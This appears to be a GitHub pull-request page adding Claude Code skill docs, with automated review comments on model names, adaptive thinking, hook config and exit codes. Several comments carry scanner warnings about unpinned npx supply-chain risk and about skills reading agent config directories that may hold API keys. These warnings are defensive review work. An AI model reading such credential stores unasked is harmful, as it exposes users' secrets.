The catalog is still dated 2025 and omits current active models such as claude-opus-4-8 and claude-sonnet-5; update the table and choose the current latest model in the “Default to the latest…” line so new app guidance points at Anthropic’s current top model.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/claude-api/SKILL.md` around lines 27 - 35, Update the “Current Models”
table in the Claude skill documentation to include the active Claude Opus 4.8
(`claude-opus-4-8`) and Claude Sonnet 5 (`claude-sonnet-5`) models, revise the
date as appropriate, and change the default recommendation to the current latest
top model, Claude Opus 4.8.
| response = client.messages.create( | ||
| model="claude-opus-4-7", | ||
| max_tokens=16000, | ||
| thinking={ | ||
| "type": "enabled", | ||
| "budget_tokens": 10000 | ||
| }, |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
printf 'Relevant file snippet:\n'
sed -n '105,130p;165,182p' skills/claude-api/SKILL.md || true
printf '\nSearch for thinking/adaptive/opus in file:\n'
rg -n 'claude-opus-4-7|thinking|adaptive|budget_tokens|output_config|minimum|1000|1,024|1024' skills/claude-api/SKILL.md || true
printf '\nRepository files:\n'
git ls-files | rg '(^skills/|\.md$)' | head -80Repository: affaan-m/ECC
Length of output: 5896
🌐 Web query:
Claude API adaptive thinking models claude-opus-4-7 thinking budget_tokens deprecated
💡 Result:
Adaptive thinking is the recommended approach for managing reasoning in modern Claude models [1][2]. The manual extended thinking parameter thinking: {type: "enabled", budget_tokens: N} has been deprecated on models like Claude Opus 4.6 and Claude Sonnet 4.6 and is fully unsupported on newer models, including Claude Opus 4.7, Claude Opus 4.8, Claude Sonnet 5, Claude Fable 5, and Claude Mythos 5 [3][4][5]. On models where manual extended thinking is deprecated (e.g., Opus 4.6), using budget_tokens will continue to function for now, but it is recommended to migrate to adaptive thinking to avoid future compatibility issues [4][5]. On newer models that do not support it, providing budget_tokens or the enabled type will result in a 400 error [3][6][5]. Key points for migration and usage: 1. Shift to Adaptive Thinking: Use thinking: {type: "adaptive"} in your API requests [1][3][5]. 2. Replace Budget with Effort: The budget_tokens parameter does not have a direct replacement because adaptive thinking allows the model to dynamically determine reasoning depth [7][6]. Instead, use the output_config: {effort: ...} parameter to steer the model's reasoning behavior [3][5]. Available effort levels include max, xhigh, high (default), medium, and low [8][9]. 3. Model-Specific Behavior: - Claude Opus 4.7 and 4.8: Adaptive thinking is the only supported mode. Thinking must be enabled explicitly by setting thinking: {type: "adaptive"} [1][4][5]. - Claude Sonnet 5: Adaptive thinking is enabled by default [1][10]. - Claude Fable 5 and Mythos 5: Adaptive thinking is always on and cannot be disabled [1][10]. 4. Older Models: Models released prior to these changes (e.g., Claude Opus 4.5, Sonnet 4.5, Haiku 4.5) do not support adaptive thinking and continue to require type: "enabled" with budget_tokens [3][5][2].
Citations:
- 1: https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking?38d7aa68_page=2&e17340ce_page=9
- 2: https://docs.aws.amazon.com/bedrock/latest/userguide/claude-messages-adaptive-thinking.html
- 3: https://platform.claude.com/docs/en/build-with-claude/extended-thinking?_rsc=1ebj0
- 4: https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking?cc61befa_page=8
- 5: https://platform.claude.com/docs/en/build-with-claude/extended-thinking
- 6: https://platform.claude.com/docs/en/about-claude/models/migration-guide
- 7: https://platform.claude.com/docs/en/about-claude/models/migration-guide?e45d281a_page=1&fcdaa149_sort_date=desc&wtime=3094s
- 8: https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking
- 9: https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking?fcdaa149_sort_date=desc&vno=z7
- 10: https://platform.claude.com/docs/en/release-notes/overview
🌐 Web query:
Claude API beta output_config effort xhigh high max adaptive thinking documentation
💡 Result:
In the Claude API, the output_config.effort parameter is used to control the depth and frequency of the model's reasoning when adaptive thinking is enabled [1][2]. It is a soft guidance parameter rather than a hard token limit [2][3]. The available effort levels are: max: Provides the absolute maximum capability with no constraints on thinking depth, intended for tasks requiring the deepest possible reasoning and thorough analysis [1][2]. xhigh: Offers extended capability for long-horizon work, such as complex agentic or coding tasks (typically over 30 minutes) [1][2]. This is recommended as the starting point for most coding and high-autonomy workloads [4][5]. high: The default level [5][6]. It provides a balance between intelligence and token usage, and is recommended as the minimum level for most intelligence-sensitive tasks [1][4]. medium: A lower effort level designed for cost-sensitive workloads, where the model may skip thinking for simpler queries [2][4]. low: Minimizes thinking, reserving it for latency-sensitive or short, scoped tasks [2][4]. Important implementation details: Configuration: Effort is set via the top-level output_config object in the API request body, not within the thinking object [2][7]. Example structure: { "model": "claude-opus-4-8", "max_tokens": 4096, "thinking": { "type": "adaptive" }, "output_config": { "effort": "high" }, "messages": [...] } Adaptive Thinking vs. Effort: You should not pass "adaptive" as an effort value, as it is a thinking mode, not an effort level [1]. Adaptive thinking must be explicitly enabled using {"thinking": {"type": "adaptive"}} [4][7]. Resource Management: Because thinking tokens count against your total max_tokens budget, you should ensure max_tokens is set high enough to accommodate both the reasoning process and the final response [2][3]. If you encounter stop_reason: "max_tokens", you can either increase your max_tokens limit or lower the effort level [2][3]. Optimization: Setting effort to the model's default (high) is functionally equivalent to omitting the parameter and does not invalidate prompt caching [3]. Conversely, changing the effort level between requests will invalidate cache breakpoints [3].
Citations:
- 1: https://platform.claude.com/docs/en/build-with-claude/effort
- 2: https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking
- 3: https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking?fcdaa149_sort_date=desc&vno=z7
- 4: https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/prompting-claude-opus-4-8
- 5: https://platform.claude.com/docs/en/about-claude/models/migration-guide
- 6: https://platform.claude.com/docs/en/build-with-claude/extended-thinking
- 7: https://platform.claude.com/docs/en/about-claude/models/whats-new-claude-4-8
Use adaptive thinking for the Opus 4.7 example.
claude-opus-4-7 uses adaptive thinking instead of manual extended-thinking; replace thinking: {"type": "enabled", "budget_tokens": 10000} with adaptive-thinking form and update the troubleshooting line from “minimum ~1000” to the documented 1,024-token minimum for legacy manual mode.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/claude-api/SKILL.md` around lines 119 - 125, Update the
claude-opus-4-7 example’s messages.create thinking configuration to use adaptive
thinking rather than the manual enabled/budget_tokens form. Also revise the
related troubleshooting guidance to state the documented 1,024-token minimum for
legacy manual thinking mode.
| ### Adding a Hook | ||
|
|
||
| ```json | ||
| { | ||
| "hooks": { | ||
| "PostToolUse": [ | ||
| { | ||
| "matcher": { "tool_name": "Edit" }, | ||
| "hooks": [ | ||
| { "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" } | ||
| ] | ||
| } | ||
| ] | ||
| } | ||
| } | ||
| ``` |
There was a problem hiding this comment.
📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win
Add an explicit ## Examples section.
The hook, permission, and environment snippets should be grouped under a clearly labeled examples section to satisfy the required skill format.
🧰 Tools
🪛 SkillSpector (2.3.11)
[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/update-config/SKILL.md` around lines 50 - 65, Add an explicit “##
Examples” heading in SKILL.md before the hook, permission, and environment
configuration snippets, grouping all of those examples under that section while
preserving their existing content.
Source: Coding guidelines
| "hooks": { | ||
| "PostToolUse": [ | ||
| { | ||
| "matcher": { "tool_name": "Edit" }, | ||
| "hooks": [ | ||
| { "type": "command", "command": "npx eslint --fix $CLAUDE_TOOL_INPUT_FILE_PATH" } | ||
| ] |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== locate hook usage and target file =="
rg -n '"hooks"|"PostToolUse"|CLAUDE_TOOL_INPUT_FILE_PATH|tool_input\.file_path|tool_name|matcher' skills commands agents rules .github 2>/dev/null | head -200 || true
echo
echo "== target file excerpt =="
if [ -f skills/update-config/SKILL.md ]; then
wc -l skills/update-config/SKILL.md
sed -n '1,120p' skills/update-config/SKILL.md | cat -n
fi
echo
echo "== related examples in repo =="
rg -n '"command":|command.*npx eslint|tool_input|CLAUDE_TOOL_INPUT_FILE_PATH' -g '*SKILL.md' -g '*.md' .Repository: affaan-m/ECC
Length of output: 45070
🌐 Web query:
Claude Code hooks documentation matcher command stdin $CLAUDE_TOOL_INPUT_FILE_PATH tool_input.file_path
💡 Result:
In Claude Code, hook commands do not support environment variable substitution like
Citations:
- 1: https://github.com/full-stack-biz/claude-skills-toolkit/blob/main/skills/hook-creator/references/command-hook-input-parsing.md
- 2: https://code.claude.com/docs/en/hooks
- 3: https://code.claude.com/docs/en/hooks.md
- 4: https://code.claude.com/docs/en/agent-sdk/hooks.md
- 5: https://code.claude.com/docs/en/agent-sdk/hooks
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== read target locale files =="
for f in README.md docs/README.md lang/*/README.md; do
[ -f "$f" ] && echo "--- $f" && rg -n 'matcher.*tool_input|CLAUDE_TOOL_INPUT_FILE_PATH|FILE_PATH|tool_input\.file_path|PostToolUse|eslint|prettier|bash -c|jq' "$f" | head -80 || true
done
echo
echo "== inspect hooks README and language README examples =="
for f in docs/en/hooks/README.md hooks/README.md README.md; do
if [ -f "$f" ]; then
echo "--- $f"
sed -n '120,250p' "$f" | cat -n
fi
done
echo
echo "== precise snippets around local README examples on hooks =="
for f in README.md docs/README.md lang/en/README.md docs/en/README.md; do
if [ -f "$f" ]; then
echo "--- $f"
rg -n -C4 'PostToolUse|tool_input.file_path|FILE_PATH|CLAUDE_FILE_PATH|CLAUDE_TOOL_INPUT|eslint|prettier' "$f" || true
fi
doneRepository: affaan-m/ECC
Length of output: 20204
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== inspect hooks README and README examples around variables =="
for f in README.md docs/README.md docs/en/hooks/README.md hooks/README.md docs/ja-JP/rules/web/hooks.md; do
[ -f "$f" ] || continue
echo "--- $f"
sed -n '208,258p' "$f" | cat -n
echo
rg -n -C3 'FILE_PATH|CLAUDE_FILE|tool_input\.file_path|matcher:\s*"' "$f" || true
done
echo
echo "== inspect object matcher usages =="
for f in rules/arkts/hooks.md rules/dart/hooks.md skills/update-config/SKILL.md; do
[ -f "$f" ] || continue
echo "--- $f"
sed -n '40,100p' "$f" | cat -n
done
echo
echo "== check exact snippet for object matcher in README examples =="
rg -n 'matcher":\s*\{\s*"tool_name":\s*"Edit"\s*\}' .Repository: affaan-m/ECC
Length of output: 11949
Fix the hook example to match Claude Code’s command-format contracts.
matcher should be a string like "Edit" or a supported expression, and command hooks receive the event JSON on stdin. Use a wrapper script that reads stdin, checks tool_name: "Edit" and tool_input.file_path, and only then calls npx eslint --fix with a quoted path.
🧰 Tools
🪛 SkillSpector (2.3.11)
[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/update-config/SKILL.md` around lines 54 - 60, Update the PostToolUse
hook example in the hooks configuration to use a string matcher such as "Edit"
instead of an object. Replace the direct eslint command with a wrapper script
that reads event JSON from stdin, verifies tool_name is "Edit" and
tool_input.file_path exists, then invokes npx eslint --fix with the path safely
quoted.
| ### Setting an Environment Variable | ||
|
|
||
| ```json | ||
| { | ||
| "env": { | ||
| "DEBUG": "true", | ||
| "NODE_ENV": "development" | ||
| } | ||
| } |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Keep secrets out of project settings.
Because .claude/settings.json is committed and shared, instruct users to place API keys and other sensitive values in user or local settings instead of the project env block. (code.claude.com)
🧰 Tools
🪛 SkillSpector (2.3.11)
[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/update-config/SKILL.md` around lines 81 - 89, Update the “Setting an
Environment Variable” guidance in SKILL.md to explicitly keep API keys and other
secrets out of the shared project env block, and direct users to store sensitive
values in user or local settings instead. Preserve the existing non-sensitive
environment variable example.
Source: Path instructions
| ## Hook Troubleshooting | ||
|
|
||
| Common reasons a hook doesn't fire: | ||
|
|
||
| - **Wrong event type** — `PreToolUse` vs `PostToolUse` vs `Stop` | ||
| - **Matcher too narrow** — check `tool_name` spelling (case-sensitive) | ||
| - **JSON parse error** — the entire settings file is silently skipped | ||
| - **Command exits non-zero** — for `PreToolUse`, this blocks the tool; for others it's logged | ||
| - **ECC hook gating** — if using ECC hooks, check `ECC_DISABLED_HOOKS` env var |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🌐 Web query:
Claude Code hooks exit code 2 blocks hook non-zero exit code 1
💡 Result:
In Claude Code, hook exit codes function as a control mechanism to determine whether an action should proceed or be blocked [1][2]. The specific behavior is as follows: - Exit Code 0: The hook reports success or no objection, and the action proceeds normally [3][4]. - Exit Code 2: This is the mandatory code for blocking an action [3][5]. When a hook exits with 2, the action is stopped, and any text written to stderr is captured and fed back to Claude as context, allowing it to adjust its approach [3][1][4]. - Exit Code 1 (and other non-zero/non-2 codes): These are treated as non-blocking errors [3][1]. The action proceeds, and an error notice (along with the first line of stderr) is typically displayed in the session transcript, with the full stderr logged to debug files [1][4][6]. There is a notable exception to these rules: for the WorktreeCreate event, any non-zero exit code (including 1) will abort the operation [3][7]. Additionally, while official documentation defines exit code 1 as non-blocking, users have reported inconsistent behavior in specific contexts (e.g., PostToolUse), where exit code 1 can sometimes disrupt execution [8]. Therefore, for consistent enforcement of policies or blocking behavior, you must explicitly use exit code 2 [3][5][1].
Citations:
- 1: https://codingnomads.com/claude-code-hooks-events-matchers-exit-codes-52614047
- 2: https://claudefa.st/blog/tools/hooks/hooks-guide
- 3: https://code.claude.com/docs/en/hooks
- 4: https://code.claude.com/docs/en/hooks-guide
- 5: [Docs] Hook exit codes: exit(1) silently non-blocking - needs prominent warning anthropics/claude-code#44707
- 6: https://claude-code.mintlify.app/en/hooks-guide
- 7: https://code.claude.com/docs/en/hooks.md
- 8: [BUG] PostToolUse Hook Exit Code 1 Blocks Claude Execution anthropics/claude-code#4809
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== File excerpt =="
sed -n '88,112p' skills/update-config/SKILL.md 2>/dev/null || true
echo
echo "== References to hook exit codes in repo =="
rg -n "exit code|non-zero|exit\\s*[021]|blocked|breaks?" . --glob '*.md' --glob '!node_modules/**' || trueRepository: affaan-m/ECC
Length of output: 50370
Correct the non-zero hook exit-code behavior.
For Claude Code hooks, only exit code 2 blocks most actions; exit 1 is a non-blocking error. Update this line so users don’t write security or policy hooks with exit 1 and expect the tool call to be stopped.
🧰 Tools
🪛 SkillSpector (2.3.11)
[warning] 59: [RP1] null: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Remediation: Pin the version: npx @scope/server@1.2.3
(MCP Rug Pull (RP1))
[error] 31: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
[error] 94: [AS1] Agent Config Directory Access: Skill reads from agent configuration directories (.claude/, .codex/, .gemini/). These directories may contain API keys, personal settings, and other credentials that the skill has no legitimate need to access.
Remediation: Remove all code or instructions that access agent configuration directories (.claude/, .codex/, .gemini/). If configuration values are needed, pass them explicitly as parameters or environment variables — never read the agent's own config files.
(Agent Snooping (AS1))
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/update-config/SKILL.md` around lines 100 - 108, Update the “Command
exits non-zero” bullet in the Hook Troubleshooting section to state that exit
code 2 blocks most actions, while exit code 1 is a non-blocking error; preserve
the existing distinction that behavior may vary by hook event.
| ### 3. Run the App | ||
|
|
||
| Start the application in a mode appropriate for the change: | ||
|
|
||
| ```bash | ||
| # Web server | ||
| npm run dev | ||
|
|
||
| # CLI tool | ||
| node scripts/ecc.js <command> | ||
|
|
||
| # Test suite (as a smoke check) | ||
| npm test | ||
| ``` |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Do not treat the test suite as launching the application.
npm test is listed under “Run the App,” but the skill correctly says tests are not verification. Keep test execution as a separate smoke/regression step and require an actual application process plus observed behavior before reporting success.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@skills/verify/SKILL.md` around lines 43 - 56, Update the “Run the App”
section so npm test is removed from the application-launch commands and
documented as a separate smoke/regression step. Require starting the relevant
application process, exercising the changed behavior, and observing its result
before reporting success.
Adds skills for core Claude Code workflows: update-config, keybindings-help, verify, code-review, simplify, fewer-permission-prompts, loop, schedule, claude-api, run, init, review, and extends security-review with a branch audit workflow.
What Changed
Why This Change
Testing Done
node tests/run-all.js)Type of Change
fix:Bug fixfeat:New featurerefactor:Code refactoringdocs:Documentationtest:Testschore:Maintenance/toolingci:CI/CD changesSecurity & Quality Checklist
If you changed dependencies or
package.json(bin/files/ deps)yarn install --mode=update-lockfileand committed theyarn.lockchange. CI runs Yarn in hardened mode on public PRs and fails if the lockfile would be modified, so an out of dateyarn.lockbreaks the build even when nothing else is wrong.If you added a skill, command, agent, hook, or CLI tool
package.json(binandfiles),manifests/install-components.json,manifests/install-modules.json, andagent.yamlnpm run catalog:sync) and command registry (npm run command-registry:write)README.md,COMMANDS-QUICK-REF.md,docs/COMMAND-AGENT-MAP.md)tests/scripts/npm-publish-surface.test.js).agents/skills/<name>/plusagents/openai.yaml; the Codex frontmatter validator allows onlyname,description,metadata,license,allowed-tools, so drop keys likeversionfrom that copy)npm test)Documentation